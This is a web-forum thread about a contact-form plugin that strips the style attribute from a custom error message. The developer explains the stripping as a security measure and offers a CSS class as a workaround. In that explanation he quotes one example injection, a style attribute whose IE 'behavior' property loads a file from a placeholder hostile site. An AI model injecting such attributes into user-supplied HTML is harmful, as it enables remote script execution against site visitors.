Not signed in (Sign In)

Categories

Welcome, Guest

Want to take part in these discussions? Sign in if you have an account, or apply for one below

RecentTags

Vanilla 1.1.5a is a product of Lussumo. More Information: Documentation, Community Support.

    •  
      CommentAuthorJeff
    • CommentTimeOct 17th 2006
     permalinkBuy a DrinkReport Post
    The Contact Form is working fine, the problem is with formating the error message displayed when information is missing from the submitted form.

    The instructions state that I place in the formating window for the error message the following:

    <p style="color:red;">Please fill in the required fields.</p>

    I save the edits and then use the form purposely leaving out something, and the error message displays, but in plain black text.

    When I go back into Contact Form options, the box for the error code formating only has the following code:

    <p>Please fill in the required fields.</p>

    The style formating for the color red has been dropped.

    I want to draw attention to this error with red text, otherwise it tends to blend in.

    Thoughts anyone?

    sminc
    • CommentAuthorelizamm
    • CommentTimeOct 18th 2006
     permalinkReport Post
    How about creating a .custom contact p style in your sutom css file. That should do it.
    •  
      CommentAuthorJeff
    • CommentTimeOct 18th 2006
     permalinkBuy a DrinkReport Post
    Perhaps it would, but the functionality of the formating built in the the plugin is not working, which is what I was trying to point out.

    Thanks for your reply!

    sminc
    • CommentAuthorDenis
    • CommentTimeOct 20th 2006
     permalinkBuy a DrinkReport Post

    I'll put up an updated plugin. This is security related. If the style attribute is allowed, an end user could do the following:

    style="behavior: url(http://evilsite.com/nasty.htc);"
    

    I've changed the descriptions to reflect this. Note that a contacterror class is available for use in a custom.css file:

    .contacterror,
    .contacterror p
    {
      color: red;
    }
    

    D.